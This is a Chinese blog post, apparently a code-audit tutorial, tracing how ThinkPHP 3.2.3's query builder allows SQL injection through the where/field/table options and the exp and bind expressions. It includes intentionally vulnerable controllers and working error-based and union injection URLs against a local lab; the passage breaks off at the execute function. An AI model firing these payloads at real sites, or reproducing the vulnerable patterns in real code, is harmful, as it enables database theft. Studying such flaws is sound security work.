WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

Javaweb

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

PWN

CTF

heap

其它

关于博客

面试

杂谈

thinkphp 3.2.3 SQL注入分析

最近审计一些黑产的时候总是碰到tp框架,虽然网上的exp已经很完善了,不过还是想从代码层面了解一下,说不定对审计会有帮助

0x01 thinkphp3.2.3环境搭建

web环境用phpstudy

首先下载thinkphp3.2.3

需要安装composer后执行命令下载

1
composer create-project topthink/thinkphp=3.2.3 tp3

下载后tp3设置为网站根目录

直接访问首页会自动生成模块

添加数据库的内容

1
2
3
4
5
6
7
8
9
10
11
create database test;
use test;

CREATE TABLE users (
`id` int(11) NOT NULL,
`username` varchar(255),
`password` varchar(255),
PRIMARY KEY (`id`)
);
insert into `users` (id, username, password) values(1,"admin","admin");
insert into `users` (id, username, password) values(2,"admin2","admin2");

在配置文件里填写数据库信息

配置文件位置\ThinkPHP\Conf\convention.php

1
2
3
4
5
6
7
/* 数据库设置 */
'DB_TYPE' => 'mysql', // 数据库类型
'DB_HOST' => '127.0.0.1', // 服务器地址
'DB_NAME' => 'test', // 数据库名
'DB_USER' => 'root', // 用户名
'DB_PWD' => 'root', // 密码
'DB_PORT' => '3306', // 端口

还有一些thinkphp3的内置函数可以了解一下

1
2
3
4
5
6
7
8
9
10
11
12
A 快速实例化Action类库
B 执行行为类
C 配置参数存取方法
D 快速实例化Model类库
F 快速简单文本数据存取方法
L 语言参数存取方法
M 快速高性能实例化模型
R 快速远程调用Action类方法
S 快速缓存存取方法
U URL动态生成和重定向方法
W 快速Widget输出方法
I 获取输入参数 支持过滤和默认值

0x02 where注入

漏洞代码配置

修改\Application\Home\Controller\IndexController.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
public function index()
{
$id = I('GET.id');
$data = M('users')->find($id);
var_dump($data);
}
}

在Index控制器中添加有漏洞的方法

该漏洞点在find()函数

payload

1
http://127.0.0.1:81/?id[where]=1%20and%201=updatexml(1,concat(0x7e,(select%20password%20from%20users%20limit%201),0x7e),1)%23

I()

首先来看一下I()函数,对于普通用户来说

I(‘GET.id’)和$_GET[‘id’]实现的功能是类似的,可以看一下I方法上面的注释了解用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/**
* 获取输入参数 支持过滤和默认值
* 使用方法:
* <code>
* I('id',0); 获取id参数 自动判断get或者post
* I('post.name','','htmlspecialchars'); 获取$_POST['name']
* I('get.'); 获取$_GET
* </code>
* @param string $name 变量的名称 支持指定类型
* @param mixed $default 不存在的时候默认值
* @param mixed $filter 参数过滤方法
* @param mixed $datas 要获取的额外数据源
* @return mixed
*/

I函数的位置在\ThinkPHP\Common\functions.php

下面来分段分析一下I函数

1
function I($name, $default = '', $filter = null, $datas = null){...}

该函数默认有四个参数,第一个参数$name是必要的,其他如果不写默认为null

各参数的功能在上面的注释内也比较清晰

下面来看该函数的第一块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
	static $_PUT = null;
if (strpos($name, '/')) {
// 指定修饰符
list($name, $type) = explode('/', $name, 2);
} elseif (C('VAR_AUTO_STRING')) {
// 默认强制转换为字符串
//在配置文件内默认是不开启的
$type = 's';
}
if (strpos($name, '.')) { //name就是传进来的GET.id
// 指定参数来源
list($method, $name) = explode('.', $name, 2);
} else {
// 默认为自动判断
$method = 'param';
}
//走完这一步$method=GET $name=id $type=null

通过strpos来判断$name里是否存在/

如果存在斜杠切割成数第一个元素存入$type,该参数在后面用作强制类型转换

通过strpos来判断$name里是否存在.

如果存在则将左右切割成数组,将第0个元素放入$method,第1个元素放入$name

如果不存在则将$method赋值为param

下面是一个switch判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
switch (strtolower($method)) {
case 'get':
$input = &$_GET;
break;
case 'post':
$input = &$_POST;
break;
case 'put':
if (is_null($_PUT)) {
parse_str(file_get_contents('php://input'), $_PUT);
}
$input = $_PUT;
break;
case 'param':
switch ($_SERVER['REQUEST_METHOD']) {
case 'POST':
$input = $_POST;
break;
case 'PUT':
if (is_null($_PUT)) {
parse_str(file_get_contents('php://input'), $_PUT);
}
$input = $_PUT;
break;
default:
$input = $_GET;
}
break;
case 'path':
$input = array();
if (!empty($_SERVER['PATH_INFO'])) {
$depr = C('URL_PATHINFO_DEPR');
$input = explode($depr, trim($_SERVER['PATH_INFO'], $depr));
}
break;
case 'request':
$input = &$_REQUEST;
break;
case 'session':
$input = &$_SESSION;
break;
case 'cookie':
$input = &$_COOKIE;
break;
case 'server':
$input = &$_SERVER;
break;
case 'globals':
$input = &$GLOBALS;
break;
case 'data':
$input = &$datas;
break;
default:
return null;
}

这里虽然代码很多,其实细看就是获取各类参数

首先把字符全部变成小写

因为$method=”GET”,就走进了第一个判断

将$_GET的指针存入$input

这里传的是指针所以$_GET和$input完全相等了

然后又是一个大判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
if ('' == $name) {
//如果name等于空字符串就走进这里,当前的name=id就先不看这里了
// 获取全部变量
$data = $input;
$filters = isset($filter) ? $filter : C('DEFAULT_FILTER');
if ($filters) {
if (is_string($filters)) {
$filters = explode(',', $filters);
}
foreach ($filters as $filter) {
$data = array_map_recursive($filter, $data); // 参数过滤
}
}
} elseif (isset($input[$name])) {
//因为$input已经等于$_GET了,这里就等于$_GET["id"],如果有值就进入这个判断
// 取值操作
$data = $input[$name]; //将id的值赋值到$data
$filters = isset($filter) ? $filter : C('DEFAULT_FILTER'); //获取默认过滤器
//取过滤器,I函数的第三个参数是过滤器,如果没有则用C方法去配置文件里面取
//如果不去修改配置文件这个值为htmlspecialchars
//配置文件的位置在\ThinkPHP\Conf\convention.php
if ($filters) {
//如果存在过滤器走入该判断
if (is_string($filters)) {
//如果过滤器变量为字符串走到这里
if (0 === strpos($filters, '/')) {
//过滤器内字符串有斜杠走到这里
//从这里可以看出过滤器不一定是函数,可以是正则表达式
if (1 !== preg_match($filters, (string) $data)) {
// 支持正则验证
return isset($default) ? $default : null;
}
} else {
$filters = explode(',', $filters);
//用逗号分隔字符串成为数组,从这里可以看出过滤器可以使用多个,多个不同的过滤器中间用逗号分隔
}
} elseif (is_int($filters)) {
//为啥过滤器会是个整型呢,查了一下原来有个过滤器ID
$filters = array($filters);
//如果过滤器是整型则转成数组
}

if (is_array($filters)) {
//如果过滤器是数组,其实只要正常走到这里必然是数组
foreach ($filters as $filter) {
//遍历过滤器数组
if (function_exists($filter)) {
//过滤器内函数存在走到这里
$data = is_array($data) ? array_map_recursive($filter, $data) : $filter($data); // 参数过滤
///如果$data是数组形式使用array_map_recursive递归遍历所有参数,反之直接使用$filter过滤参数
} else {
//如果函数不存在可能使用的是过滤器ID
$data = filter_var($data, is_int($filter) ? $filter : filter_id($filter));
//filter_var第一个参数是要过滤的数据,第二个参数是过滤器ID
//filter_id只有一个参数,类型为字符串,可以根据字符串得到对应过滤器ID
//首先判断$filter是否为整型,如果为整型则直接第二个参数直接使用ID,如果不为整型,使用filter_id得到过滤器IDF
if (false === $data) {
//filter_var过滤失败返回false
return isset($default) ? $default : null;
//如果$default存在则返回$default,不存在返回null
//是I函数的第二个参数
}
}
}
}
}

上面这块代码是关于参数过滤相关的

还有有一个类型转换的判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if (!empty($type)) {
switch (strtolower($type)) {
case 'a': // 数组
$data = (array) $data;
break;
case 'd': // 数字
$data = (int) $data;
break;
case 'f': // 浮点
$data = (float) $data;
break;
case 'b': // 布尔
$data = (boolean) $data;
break;
case 's':// 字符串
default:
$data = (string) $data;
}
}
} else {
// 变量默认值
$data = isset($default) ? $default : null;
}

就是上面说的$type可以指定最后强制类型转换,如果不指定就返回原来的值

还有几条代码I函数就看完了

1
2
3
4
   is_array($data) && array_walk_recursive($data, 'think_filter');
//如果$data是数组则使用think_filter过滤器
return $data;
//函数结束返回被过滤的数据

最后来看一下think_filter函数

该函数和I函数在同一个文件

1
2
3
4
5
6
7
8
9
function think_filter(&$value)
{
// TODO 其他安全过滤

// 过滤查询特殊字符
if (preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
$value .= ' ';
}
}

如果传入的是数字且存在这些关键字就会被替换成空格

find()

前面的M函数就不分析了,因为正常这里不太会让用户可控,了解一下M函数作用是快速高性能实例化模型就好了

该函数为漏洞函数

同样的分析一下

1
public function find($options = array())

有一个参数$options,如果不传参默认为空数组

走到第一个判断

1
2
3
4
5
6
7
8
9
10
11
12
if (is_numeric($options) || is_string($options)) {
//判断$options是否为数字和数字字符串或字符串
//如果是走入
$where[$this->getPk()] = $options;
//$this->getPk()获取Pk值,默认为id
//protected $pk = 'id';
//相当于$where["id"] = $options;
$options = array();
//$options赋值为空数组
$options['where'] = $where;
//$options['where']存入$where
}

第二个判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$pk = $this->getPk();
//$pk还是id
if (is_array($options) && (count($options) > 0) && is_array($pk)) {
// 根据复合主键查询
$count = 0;
foreach (array_keys($options) as $key) {
if (is_int($key)) {
$count++;
}

}
if (count($pk) == $count) {
$i = 0;
foreach ($pk as $field) {
$where[$field] = $options[$i];
unset($options[$i++]);
}
$options['where'] = $where;
} else {
return false;
}
}

这一块不太了解,如果但看find函数是走不进这个判断的,因为$pk指定了是字符串,是过不了is_array判断的

估摸着是哪个方法可以修改$pk的值,就先不看了

1
2
3
4
$options['limit'] = 1;
//在$options数组添加limit元素为1
//假设接收的传参是id=1,那么此时$options有2个元素where和limit
$options = $this->_parseOptions($options);

接下来关键的_parseOptions函数

_parseOptions

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
protected function _parseOptions($options = array())
{
if (is_array($options)) {
$options = array_merge($this->options, $options);
}
//合并数组,$options是参数,$this->options应该是实例化Model的时候会存一些东西,不过调试的时候是空的

if (!isset($options['table'])) {
//走到这里的时候$options['table']也是空的,在这里添加
// 自动获取表名
$options['table'] = $this->getTableName();
$fields = $this->fields;
//这里应该也是M()函数实例化的时候添加的成员变量,可能是在构造函数里面赋值的
//有兴趣的师傅可以去看一下M函数完成了什么
//这里上面说的都是一些可能,有点懒就不去调了
} else {
// 指定数据表 则重新获取字段列表 但不支持类型检测
$fields = $this->getDbFields();
}

// 数据表别名
if (!empty($options['alias'])) {
//如果$options['alias']不为空则进来拼接
$options['table'] .= ' ' . $options['alias'];
}
// 记录操作的模型名称
$options['model'] = $this->name;
//这里的name就是M函数的第一个参数,这次用的是users

// 字段类型验证
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
//$options['where']是否有值,是否为数组,$fields是否不为空,$options['join']是否没有值
// 对数组查询条件进行字段类型检查
foreach ($options['where'] as $key => $val) {
//遍历$options['where'],其实就是把接收到的参数取出来
$key = trim($key);
//去空格
if (in_array($key, $fields, true)) {
//判断$fields是否有值和$key相等,第三个参数为true则类型也要相等
if (is_scalar($val)) {
//判断$val是否为标量,这里$val就是id的值
//像int,float,string,bool是标量,array,object,resource,null不是标量
$this->_parseType($options['where'], $key);
//再进入_parseType函数,可以先看下面
}
} elseif (!is_numeric($key) && '_' != substr($key, 0, 1) && false === strpos($key, '.') && false === strpos($key, '(') && false === strpos($key, '|') && false === strpos($key, '&')) {
//走过上面的判断了这里不会走了,也有点懒的看了这里就不看了
if (!empty($this->options['strict'])) {
E(L('_ERROR_QUERY_EXPRESS_') . ':[' . $key . '=>' . $val . ']');
}
unset($options['where'][$key]);
}
}
}
// 查询过后清空sql表达式组装 避免影响下次查询
$this->options = array();
// 表达式过滤
$this->_options_filter($options);
return $options;
//返回处理好的数据
}

_parseType

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
protected function _parseType(&$data, $key)
{
//此时$data里面就只有id=1
if (!isset($this->options['bind'][':' . $key]) && isset($this->fields['_type'][$key])) {
//如果$this->options['bind'][':' . $key]没有值,$this->fields['_type'][$key]有值进来
$fieldType = strtolower($this->fields['_type'][$key]);
//这里是取出字段类型,$key是id所以类型为int,这是前面数据库设置的
if (false !== strpos($fieldType, 'enum')) {
// 支持ENUM类型优先检测
} elseif (false === strpos($fieldType, 'bigint') && false !== strpos($fieldType, 'int')) {
//int满足这一条
$data[$key] = intval($data[$key]);
//最后使用了intval强制转换成int,所以如果find想用1'注入最后在这里'会被去掉
} elseif (false !== strpos($fieldType, 'float') || false !== strpos($fieldType, 'double')) {
$data[$key] = floatval($data[$key]);
} elseif (false !== strpos($fieldType, 'bool')) {
$data[$key] = (bool) $data[$key];
}
}
//别的也类似,因为传进来的值指针所以不需要返回值,$options['where']的参数在这里就被处理了
}

继续find()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 判断查询缓存
//没有缓存这里跳过
if (isset($options['cache'])) {
$cache = $options['cache'];
$key = is_string($cache['key']) ? $cache['key'] : md5(serialize($options));
$data = S($key, '', $cache);
if (false !== $data) {
$this->data = $data;
return $data;
}
}
$resultSet = $this->db->select($options);
//执行sql语句
//来看一下select是怎么执行sql语句的

select

该函数在\ThinkPHP\Library\Think\Db\Driver.class.php

1
2
3
4
5
6
7
8
9
public function select($options = array())
{
$this->model = $options['model'];
$this->parseBind(!empty($options['bind']) ? $options['bind'] : array());
$sql = $this->buildSelectSql($options);
//关键看这个函数怎么构造sql语句
$result = $this->query($sql, !empty($options['fetch_sql']) ? true : false);
return $result;
}

buildSelectSql

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
    public function parseSql($sql, $options = array())
{
$sql = str_replace(
array('%TABLE%', '%DISTINCT%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'),
array(
$this->parseTable($options['table']),
$this->parseDistinct(isset($options['distinct']) ? $options['distinct'] : false),
$this->parseField(!empty($options['field']) ? $options['field'] : '*'),
$this->parseJoin(!empty($options['join']) ? $options['join'] : ''),
$this->parseWhere(!empty($options['where']) ? $options['where'] : ''),
$this->parseGroup(!empty($options['group']) ? $options['group'] : ''),
$this->parseHaving(!empty($options['having']) ? $options['having'] : ''),
$this->parseOrder(!empty($options['order']) ? $options['order'] : ''),
$this->parseLimit(!empty($options['limit']) ? $options['limit'] : ''),
$this->parseUnion(!empty($options['union']) ? $options['union'] : ''),
$this->parseLock(isset($options['lock']) ? $options['lock'] : false),
$this->parseComment(!empty($options['comment']) ? $options['comment'] : ''),
$this->parseForce(!empty($options['force']) ? $options['force'] : ''),
), $sql);
return $sql;
}
//第一个参数$sql如下
//protected $selectSql = 'SELECT%DISTINCT% %FIELD% FROM %TABLE%%FORCE%%JOIN%%WHERE%%GROUP%%HAVING%%ORDER%%LIMIT% %UNION%%LOCK%%COMMENT%';

这样粗略一看,就是把$options中的各类参数再经过一次处理,然后替换到到$sql字符串里面构造出完整的sql语句再执行

到这里这个点的sql注入就清楚了,因为php是可以在外部传数组进来的,所以$options里面的所有元素都是可控的

1
$options = $this->_parseOptions($options);

可以看到在find函数的这行代码里面$options就是由外部传进来的,

能控制某一段语句,最后就能通过sql一些语句实现注入了

还有一点就是为什么传了数组进来有些关键字字不会被_parseType强制转换

看find的第一个判断可以发现只有数字和数字字符串或字符串会走进判断,将$where变成一个数组后存入$options,如果传进来一个数组那么$options[‘where’]就是一个字符串

在_parseOptions函数里面的字段类型验证会检测$options[‘where’]是否为数组,很显然就不会走进判断,也不会碰到_parseType函数了

这里我们直接拿$this->parseWhere来看看

$this->parseWhere

1
2
3
4
5
6
7
8
9
10
11
12
protected function parseWhere($where)
{
$whereStr = '';
if (is_string($where)) {
// 直接使用字符串条件
$whereStr = $where;
} else {
//因为在这个注入中$where肯定是字符串所以这个else就不看了
//在下一个注入中回来分析else这个代码块
}
return empty($whereStr) ? '' : ' WHERE ' . $whereStr;
}

可以看到$where的值传进来经过判断赋到$whereStr,最后在$whereStr前面加上’ WHERE ‘字符串返回

那$whereStr是完全可控的

1
$whereStr = id=1 and 1=updatexml(1,concat(0x7e,(select password from users limit 1),0x7e),1)-- //实现注入

这么分析下来其实不止$options[‘where’]有问题

$options[‘field’] 可以控制输出的字段名

$options[‘table’]可以控制要查询的表

这些都可以造成问题

1
2
3
4
5
http://127.0.0.1:81/?id[field]=*%20FROM%20`users`%20where%20id=-1%20union%20select%20*%20FROM%20`users`%20where%20id=2--
field实现注入

http://127.0.0.1:81/?id[table]=users%20where%20id%20=-1%20union%20select%201,2,user()
table实现注入

还有一些没有看, 有兴趣的师傅可以在parseSql函数的return前面打印sql语句,这样就可以清晰的看到sql语句构造结果

0x03 exp注入

漏洞代码配置

1
2
3
4
5
6
7
public function index()
{
$User = M('Users');
$map = array('username' => $_GET['username']);
$user = $User->where($map)->find();
var_dump($user);
}

payload

1
http://127.0.0.1:81/?username[0]=exp&username[1]==1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)

该漏洞不能使用I函数获取参数,具体原因后面会写

漏洞点为where函数,首先来看看where函数是什么功能

注意这里$map是数组

where()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public function where($where, $parse = null)
{
if (!is_null($parse) && is_string($where)) {
//如果$parse不为空且为字符串则步入,不过这次传入的是数组,跳过这里
if (!is_array($parse)) {
$parse = func_get_args();
array_shift($parse);
}
$parse = array_map(array($this->db, 'escapeString'), $parse);
$where = vsprintf($where, $parse);
} elseif (is_object($where)) {
//也不是一个对象
$where = get_object_vars($where);
}
if (is_string($where) && '' != $where) {
//也不是字符串
$map = array();
$map['_string'] = $where;
$where = $map;
}
if (isset($this->options['where'])) {
//$this->options['where']是空的
$this->options['where'] = array_merge($this->options['where'], $where);
} else {
$this->options['where'] = $where;
//直接将$where的值存入$this->options['where']
//好像有点熟悉
}

return $this;
}

此时$this->options[‘where’]里面存着一个数组

直接看find(),别的点正常走都是一样的,只有parseWhere函数会有区别,就像上面说的parseWhere函数里的else就是这个注入的漏洞点

来看看完整的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
protected function parseWhere($where)
{
$whereStr = '';
if (is_string($where)) {
// 直接使用字符串条件
$whereStr = $where;
} else {
//$where是数组走进这里
// 使用数组表达式
$operate = isset($where['_logic']) ? strtoupper($where['_logic']) : '';
//$where['_logic']里面没有该元素
if (in_array($operate, array('AND', 'OR', 'XOR'))) {
// 定义逻辑运算规则 例如 OR XOR AND NOT
$operate = ' ' . $operate . ' ';
unset($where['_logic']);
} else {
// 默认进行 AND 运算
$operate = ' AND ';
//默认为' AND '
}
foreach ($where as $key => $val) {
//遍历$where
if (is_numeric($key)) {
//判断$key是否为数字和数字字符串,是则修改$key
//$val为接收到的值
$key = '_complex';
}
if (0 === strpos($key, '_')) {
//这里是===所以不是想判断$key是否存在下划线,是想判断$key第一个字符是否为下划线,很显然没有走不到
// 解析特殊条件表达式
$whereStr .= $this->parseThinkWhere($key, $val);
} else {
// 查询字段的安全过滤
// if(!preg_match('/^[A-Z_\|\&\-.a-z0-9\(\)\,]+$/',trim($key))){
// E(L('_EXPRESS_ERROR_').':'.$key);
// }
// 多条件支持
$multi = is_array($val) && isset($val['_multi']);
//判断$val是否是数组,是否存在_multi元素
$key = trim($key);
//清除空格
if (strpos($key, '|')) {
//如果$key中有|走到这里
// 支持 name|title|nickname 方式定义查询字段
$array = explode('|', $key);
$str = array();
foreach ($array as $m => $k) {
$v = $multi ? $val[$m] : $val;
$str[] = $this->parseWhereItem($this->parseKey($k), $v);
}
$whereStr .= '( ' . implode(' OR ', $str) . ' )';
} elseif (strpos($key, '&')) {
//如果$key中有&走到这里
$array = explode('&', $key);
$str = array();
foreach ($array as $m => $k) {
$v = $multi ? $val[$m] : $val;
$str[] = '(' . $this->parseWhereItem($this->parseKey($k), $v) . ')';
}
$whereStr .= '( ' . implode(' AND ', $str) . ' )';
} else {
//啥都没有走到这里
//先来看看parseWhereItem函数
//$this->parseKey经过正则过滤一些危险字符,然后在前后加上``返回
//如果php接收的参数是这样的?username[0]=exp&username[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)
//此时$key=`username` $val=array(0=>"exp",1=>"=1 and updatexml(1,concat(0x7e,user(),0x7e),1)")
$whereStr .= $this->parseWhereItem($this->parseKey($key), $val);
}
}
$whereStr .= $operate;
//在$whereStr后拼上$operate
}
$whereStr = substr($whereStr, 0, -strlen($operate));
//再去掉$operate,不知道为啥,这应该是什么标志吧,不需要用到了就去掉了
}
return empty($whereStr) ? '' : ' WHERE ' . $whereStr;
}

parseWhereItem

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
protected function parseWhereItem($key, $val)
{
$whereStr = '';
if (is_array($val)) {
//是数组走到这里
if (is_string($val[0])) {
//$val0元素是字符串走到这里,此时0元素为exp
$exp = strtolower($val[0]);
//小写
if (preg_match('/^(eq|neq|gt|egt|lt|elt)$/', $exp)) {
//这里是匹配不到的
// 比较运算
$whereStr .= $key . ' ' . $this->exp[$exp] . ' ' . $this->parseValue($val[1]);
} elseif (preg_match('/^(notlike|like)$/', $exp)) {
// 模糊查找
if (is_array($val[1])) {
$likeLogic = isset($val[2]) ? strtoupper($val[2]) : 'OR';
if (in_array($likeLogic, array('AND', 'OR', 'XOR'))) {
$like = array();
foreach ($val[1] as $item) {
$like[] = $key . ' ' . $this->exp[$exp] . ' ' . $this->parseValue($item);
}
$whereStr .= '(' . implode(' ' . $likeLogic . ' ', $like) . ')';
}
} else {
$whereStr .= $key . ' ' . $this->exp[$exp] . ' ' . $this->parseValue($val[1]);
}
} elseif ('bind' == $exp) {
// 使用表达式
$whereStr .= $key . ' = :' . $val[1];
} elseif ('exp' == $exp) {
//此时$exp='exp'走入这里
// 使用表达式
$whereStr .= $key . ' ' . $val[1];
//$key和$val[1]拼接,$val[1]就是注入的payload
//拼接后的结果`username` =1 and updatexml(1,concat(0x7e,user(),0x7e),1)
//返回该语句造成sql注入
} elseif (preg_match('/^(notin|not in|in)$/', $exp)) {
// IN 运算
if (isset($val[2]) && 'exp' == $val[2]) {
$whereStr .= $key . ' ' . $this->exp[$exp] . ' ' . $val[1];
} else {
if (is_string($val[1])) {
$val[1] = explode(',', $val[1]);
}
$zone = implode(',', $this->parseValue($val[1]));
$whereStr .= $key . ' ' . $this->exp[$exp] . ' (' . $zone . ')';
}
} elseif (preg_match('/^(notbetween|not between|between)$/', $exp)) {
// BETWEEN运算
$data = is_string($val[1]) ? explode(',', $val[1]) : $val[1];
$whereStr .= $key . ' ' . $this->exp[$exp] . ' ' . $this->parseValue($data[0]) . ' AND ' . $this->parseValue($data[1]);
} else {
E(L('_EXPRESS_ERROR_') . ':' . $val[0]);
}
} else {
$count = count($val);
$rule = isset($val[$count - 1]) ? (is_array($val[$count - 1]) ? strtoupper($val[$count - 1][0]) : strtoupper($val[$count - 1])) : '';
if (in_array($rule, array('AND', 'OR', 'XOR'))) {
$count = $count - 1;
} else {
$rule = 'AND';
}
for ($i = 0; $i < $count; $i++) {
$data = is_array($val[$i]) ? $val[$i][1] : $val[$i];
if ('exp' == strtolower($val[$i][0])) {
$whereStr .= $key . ' ' . $data . ' ' . $rule . ' ';
} else {
$whereStr .= $this->parseWhereItem($key, $val[$i]) . ' ' . $rule . ' ';
}
}
$whereStr = '( ' . substr($whereStr, 0, -4) . ' )';
}
} else {
//对字符串类型字段采用模糊匹配
$likeFields = $this->config['db_like_fields'];
if ($likeFields && preg_match('/^(' . $likeFields . ')$/i', $key)) {
$whereStr .= $key . ' LIKE ' . $this->parseValue('%' . $val . '%');
} else {
$whereStr .= $key . ' = ' . $this->parseValue($val);
}
}
return $whereStr;
//返回注入语句
}

拼接后执行的流程就和上面类似了

来说一下为啥不能使用I函数获取参数

上面提到过I函数最后有个think_filter函数,会将exp加上空格导致失败

可以看到在exp上面还有个判断是否为bind,该点就是下一个漏洞点

0x04 bind注入

漏洞代码配置

1
2
3
4
5
6
7
8
public function index()
{
$User = M("Users");
$user = array("id" => I('id'));
$data = array("password" => I('password'));
$sql = $User->where($user)->save($data);
var_dump($sql);
}

payload

1
http://127.0.0.1:81/?id[0]=bind&id[1]=0%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)&password=1

上面说了bind就在exp的上面

1
2
3
4
5
6
elseif ('bind' == $exp) {
// 使用表达式
$whereStr .= $key . ' = :' . $val[1];
} elseif ('exp' == $exp) {
$whereStr .= $key . ' ' . $val[1];
}

bind在sql语句中加的的= :

这样sql语句是没有办法正常执行的

一般来说sql语句用:是用来预编译后替换数据,所以需要找到替换:的函数

这段payload和exp注入相同,只需要注意id[1]=0..,原因后面会看到

接下来就是save函数的参数$data=array(“password”=>1)

下面就假设用上面的payload调了

先看save函数

save

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public function save($data = '', $options = array())
{
if (empty($data)) {
//这段走不进来
}
// 数据处理
$data = $this->_facade($data); //处理数据的函数不会对$data有什么实质的影响
if (empty($data)) {
//这段走不进来
}
// 分析表达式
$options = $this->_parseOptions($options); //这个前面写过
$pk = $this->getPk(); //取一个pk值不管
if (!isset($options['where'])) {
//这段走不进来忽略
}

if (is_array($options['where']) && isset($options['where'][$pk])) {
//如果$options['where']为数组,$options['where'][$pk]有值,根据payload是满足条件的
$pkValue = $options['where'][$pk];
//取出$options['where'][$pk]的值存入$pkValue
}
if (false === $this->_before_update($data, $options)) {
//这函数是空的返回值和false不相等
return false;
}
//$data的值还是没有变,$options和上面的漏洞类似也是一个数组
$result = $this->db->update($data, $options);
if (false !== $result && is_numeric($result)) {
if (isset($pkValue)) {
$data[$pk] = $pkValue;
}

$this->_after_update($data, $options);
}
return $result;
}

接下来看update函数

update

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public function update($data, $options)
{
$this->model = $options['model'];
//赋值
$this->parseBind(!empty($options['bind']) ? $options['bind'] : array());
//parseBind里面是个拼接数组的功能
$table = $this->parseTable($options['table']); //取数据表的功能不详细看了
$sql = 'UPDATE ' . $table . $this->parseSet($data);
//拼接sql语句,看下parseSet函数
//返回值为SET password=:0,加上前面的'UPDATE ' . $table ,最后sql语句为 UPDATE `users` SET `password`=:0
if (strpos($table, ',')) {
// 多表更新支持JOIN操作
//这里走不进来
$sql .= $this->parseJoin(!empty($options['join']) ? $options['join'] : '');
}

$sql .= $this->parseWhere(!empty($options['where']) ? $options['where'] : '');
//这里就是上面写过的拼接where语句的地方,在find函数里面也有
//拼接后的sql语句为
//UPDATE `users` SET `password`=:0 WHERE `id` = :0 and updatexml(1,concat(0x7e,user(),0x7e),1)
if (!strpos($table, ',')) {
// 单表更新支持order和lmit
//这里能走进来,$options['order']和$options['limit']都是空的对sql语句不会有影响
$sql .= $this->parseOrder(!empty($options['order']) ? $options['order'] : '')
. $this->parseLimit(!empty($options['limit']) ? $options['limit'] : '');
}
//同样这里$options['comment']也是空的,不会有影响
$sql .= $this->parseComment(!empty($options['comment'])) ? $options['comment'] : '');
//到这里sql语句还是有2个:0的,看看execute函数什么时候替换掉
return $this->execute($sql, !empty($options['fetch_sql']) ? true : false);
}

parseSet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
protected function parseSet($data)
{
//$data=array("password"=>1)
foreach ($data as $key => $val) {
//循环后$key="password",$val=1
if (is_array($val) && 'exp' == $val[0]) {
$set[] = $this->parseKey($key) . '=' . $val[1];
} elseif (is_null($val)) {
$set[] = $this->parseKey($key) . '=NULL';
} elseif (is_scalar($val)) {
// 过滤非标量数据
//走进这个判断
if (0 === strpos($val, ':') && in_array($val, array_keys($this->bind))) {
//$val第一个字符不是:走入else
$set[] = $this->parseKey($key) . '=' . $this->escapeString($val);
} else {
$name = count($this->bind);
//取$this->bind的数量
$set[] = $this->parseKey($key) . '=:' . $name;
//parseKey函数在$key值外面加``后返回
//拼接=:0后存入$set数组
$this->bindParam($name, $val);
//在$this->bind数组中存入[":0" => "1"]
}
}
}
//拼接语句为SET password=:0返回
return ' SET ' . implode(',', $set);
}

再来看update函数

$this->execute

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
